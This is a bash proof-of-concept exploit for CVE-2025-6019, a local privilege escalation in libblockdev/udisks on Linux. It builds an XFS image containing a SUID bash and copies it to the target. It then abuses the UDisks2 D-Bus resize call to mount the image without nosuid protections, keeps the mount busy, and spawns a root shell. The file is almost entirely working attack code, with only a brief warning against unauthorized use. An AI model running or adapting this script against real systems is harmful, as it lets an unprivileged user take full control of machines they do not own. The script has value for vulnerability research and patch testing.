#!/bin/bash
# PoC for CVE-2025-6019: LPE via libblockdev/udisks
# Author: 0xabdoulaye, Team Guinea Offensive Security
# Modified to create a 300 MB XFS image and improve resize reliability
# Usage: Run as root for local mode; run as any user for target mode

# Function to check dependencies
check_dependencies() {
    local deps=("dd" "mkfs.xfs" "mount" "umount" "udisksctl" "gdbus" "killall" "grep" "chmod" "cp")
    for dep in "${deps[@]}"; do
        if ! command -v "$dep" &>/dev/null; then
            echo "[-] Error: Required tool '$dep' is not installed."
            exit 1
        fi
    done
    echo "[+] All dependencies are installed."
}

# Function to check for vulnerable libblockdev/udisks
check_vulnerability() {
    echo "[*] Checking for vulnerable libblockdev/udisks versions..."
    if command -v udisksctl &>/dev/null; then
        UDISKS_VERSION=$(udisksctl --version 2>/dev/null || echo "unknown")
        echo "[*] Detected udisks version: $UDISKS_VERSION"
        echo "[!] Warning: Specific vulnerable versions for CVE-2025-6019 are unknown."
        echo "[!] Verify manually that the target system runs a vulnerable version of libblockdev/udisks."
        echo "[!] Continuing with PoC execution..."
    else
        echo "[-] Error: udisksctl not found. Ensure udisks2 is installed."
        exit 1
    fi
}

# Function to create a 300 MB XFS image on local machine
create_xfs_image() {
    echo "[*] Creating a 300 MB XFS image on local machine..."
    # Check for root privileges
    if [ "$(id -u)" -ne 0 ]; then
        echo "[-] Error: Root privileges required to create XFS image."
        exit 1
    fi

    # Create 300 MB image
    if ! dd if=/dev/zero of=./xfs.image bs=1M count=300 status=progress; then
        echo "[-] Error: Failed to create xfs.image."
        exit 1
    fi

    # Format as XFS with default parameters
    if ! mkfs.xfs -f ./xfs.image; then
        echo "[-] Error: Failed to format xfs.image as XFS."
        rm -f ./xfs.image
        exit 1
    fi

    # Create and mount directory
    mkdir -p ./xfs.mount || { echo "[-] Error: Failed to create xfs.mount directory."; rm -f ./xfs.image; exit 1; }
    if ! mount -t xfs ./xfs.image ./xfs.mount; then
        echo "[-] Error: Failed to mount xfs.image."
        rm -rf ./xfs.image ./xfs.mount
        exit 1
    fi

    # Verify sufficient space for /bin/bash
    BASH_SIZE=$(stat -c %s /bin/bash 2>/dev/null || echo 0)
    if [ "$BASH_SIZE" -eq 0 ]; then
        echo "[-] Error: /bin/bash not found or inaccessible."
        umount ./xfs.mount
        rm -rf ./xfs.image ./xfs.mount
        exit 1
    fi
    AVAILABLE_SPACE=$(df --block-size=1 ./xfs.mount | tail -1 | awk '{print $4}')
    if [ "$AVAILABLE_SPACE" -lt "$BASH_SIZE" ]; then
        echo "[-] Error: Insufficient space on XFS image for /bin/bash ($BASH_SIZE bytes needed, $AVAILABLE_SPACE available)."
        umount ./xfs.mount
        rm -rf ./xfs.image ./xfs.mount
        exit 1
    fi

    # Copy bash and set SUID
    if ! cp /bin/bash ./xfs.mount/bash; then
        echo "[-] Error: Failed to copy /bin/bash."
        umount ./xfs.mount
        rm -rf ./xfs.image ./xfs.mount
        exit 1
    fi
    if ! chmod 4755 ./xfs.mount/bash; then
        echo "[-] Error: Failed to set SUID on bash."
        umount ./xfs.mount
        rm -rf ./xfs.image ./xfs.mount
        exit 1
    fi

    # Unmount
    if ! umount ./xfs.mount; then
        echo "[-] Error: Failed to unmount xfs.mount."
        rm -rf ./xfs.image ./xfs.mount
        exit 1
    fi

    rm -rf ./xfs.mount
    echo "[+] 300 MB XFS image created: ./xfs.image"
    echo "[*] Transfer to target with: scp xfs.image <user>@<host>:"
}

# Function to exploit vulnerability on target
exploit_target() {
    echo "[*] Starting exploitation on target machine..."
    # Check allow_active status
    echo "[*] Checking allow_active status..."
    if ! gdbus call --system --dest org.freedesktop.login1 \
        --object-path /org/freedesktop/login1 \
        --method org.freedesktop.login1.Manager.CanReboot | grep -q "('yes',)"; then
        echo "[-] Error: allow_active status not obtained. Exploitation may fail."
        echo "[-] Try exploiting CVE-2025-6018 first if applicable."
        exit 1
    fi
    echo "[+] allow_active status confirmed."

    # Check for xfs.image
    if [ ! -f ./xfs.image ]; then
        echo "[-] Error: xfs.image not found. Transfer it to the target first."
        exit 1
    fi

    # Verify xfs.image integrity
    echo "[*] Verifying xfs.image integrity..."
    if ! file ./xfs.image | grep -q "XFS filesystem"; then
        echo "[-] Error: xfs.image is not a valid XFS filesystem. Recreate it using [L]ocal mode."
        exit 1
    fi

    # Stop gvfs-udisks2-volume-monitor
    echo "[*] Stopping gvfs-udisks2-volume-monitor..."
    killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || echo "[*] Note: gvfs-udisks2-volume-monitor was not running."

    # Set up loop device
    echo "[*] Setting up loop device..."
    LOOP_DEV=$(udisksctl loop-setup --file ./xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
    if [ -z "$LOOP_DEV" ]; then
        echo "[-] Error: Failed to set up loop device."
        exit 1
    fi
    echo "[+] Loop device configured: $LOOP_DEV"

    # Keep filesystem busy
    echo "[*] Keeping filesystem busy to prevent unmounting..."
    while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &
    LOOP_PID=$!
    echo "[+] Background loop started (PID: $LOOP_PID)"

    # Resize filesystem to trigger mount with retries
    echo "[*] Resizing filesystem to trigger mount..."
    for i in {1..3}; do
        gdbus call --system --dest org.freedesktop.UDisks2 \
            --object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
            --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' > gdbus_output.txt 2>&1
        if grep -q "Error resizing filesystem" gdbus_output.txt; then
            echo "[+] Mount successful (expected error: target is busy)."
            break
        fi
        echo "[*] Attempt $i: Unexpected response during filesystem resize, retrying in 1 second..."
        echo "[*] gdbus output:"
        cat gdbus_output.txt
        echo "[*] Checking udisks2 service status..."
        systemctl status udisks2 --no-pager 2>/dev/null || echo "[*] udisks2 service not running or inaccessible."
        sleep 1
        if [ $i -eq 3 ]; then
            echo "[-] Error: Failed to resize filesystem after 3 attempts."
            echo "[*] Debugging: Check udisks2 logs with 'journalctl -xe -u udisks2'"
            echo "[*] Manual check: Run 'mount | grep /tmp/blockdev' to verify mount."
            echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'"
            kill $LOOP_PID 2>/dev/null
            udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null
            rm -f gdbus_output.txt
            exit 1
        fi
    done

    # Wait for mount to stabilize
    echo "[*] Waiting 2 seconds for mount to stabilize..."
    sleep 2

    # Check for SUID bash with retries
    echo "[*] Checking for SUID bash in /tmp/blockdev*..."
    SUID_BASH=""
    for i in {1..5}; do
        SUID_BASH=$(find /tmp -maxdepth 2 -path "/tmp/blockdev*/bash" -perm -4000 -type f 2>/dev/null)
        if [ -n "$SUID_BASH" ]; then
            echo "[+] SUID bash found: $SUID_BASH"
            ls -l "$SUID_BASH"
            break
        fi
        echo "[*] Attempt $i: SUID bash not found, retrying in 1 second..."
        ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found."
        sleep 1
    done

    if [ -z "$SUID_BASH" ]; then
        echo "[-] Error: SUID bash not found in /tmp/blockdev* after 5 attempts."
        echo "[*] Debugging: Final contents of /tmp/blockdev*"
        ls -l /tmp/blockdev* 2>/dev/null || echo "[*] No blockdev directories found."
        echo "[*] Manual execution: If SUID bash exists, try '/tmp/blockdev*/bash -p'"
        kill $LOOP_PID 2>/dev/null
        udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null
        rm -f gdbus_output.txt
        exit 1
    fi

    # Execute SUID shell
    echo "[*] Executing root shell..."
    "$SUID_BASH" -p
    if [ $? -eq 0 ]; then
        echo "[+] Exploitation successful! Root shell obtained."
        echo "[*] Background loop (PID: $LOOP_PID) and mount left running to preserve SUID binary."
        echo "[*] SUID bash remains at: $SUID_BASH"
        echo "[*] To clean up manually, run:"
        echo "    kill $LOOP_PID 2>/dev/null"
        echo "    sudo umount /tmp/blockdev* 2>/dev/null"
        echo "    sudo udisksctl loop-delete --block-device $LOOP_DEV 2>/dev/null"
        echo "    rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null"
    else
        echo "[-] Error: Failed to execute SUID shell."
        # Perform cleanup on failure
        echo "[*] Performing cleanup..."
        kill $LOOP_PID 2>/dev/null
        umount /tmp/blockdev* 2>/dev/null
        udisksctl loop-delete --block-device "$LOOP_DEV" 2>/dev/null
        rm -rf /tmp/blockdev* ./xfs.image gdbus_output.txt 2>/dev/null
        echo "[+] Cleanup completed."
    fi
}

# Main script
echo "PoC for CVE-2025-6019 (LPE via libblockdev/udisks)"
echo "WARNING: Only run this on authorized systems. Unauthorized use is illegal."
read -p "Continue? [y/N]: " confirm
if [[ ! "$confirm" =~ ^[Yy]$ ]]; then
    echo "[-] Aborted by user."
    exit 1
fi
check_dependencies
check_vulnerability
echo "Select mode:"
echo "[L]ocal: Create 300 MB XFS image (requires root)"
echo "[C]ible: Exploit target system"
read -p "[L]ocal or [C]ible? (L/C): " choice
case "${choice,,}" in
    l|local)
        create_xfs_image
        ;;
    c|cible)
        exploit_target
        ;;
    *)
        echo "[-] Error: Invalid choice. Use 'L' for local or 'C' for cible."
        exit 1
        ;;
esac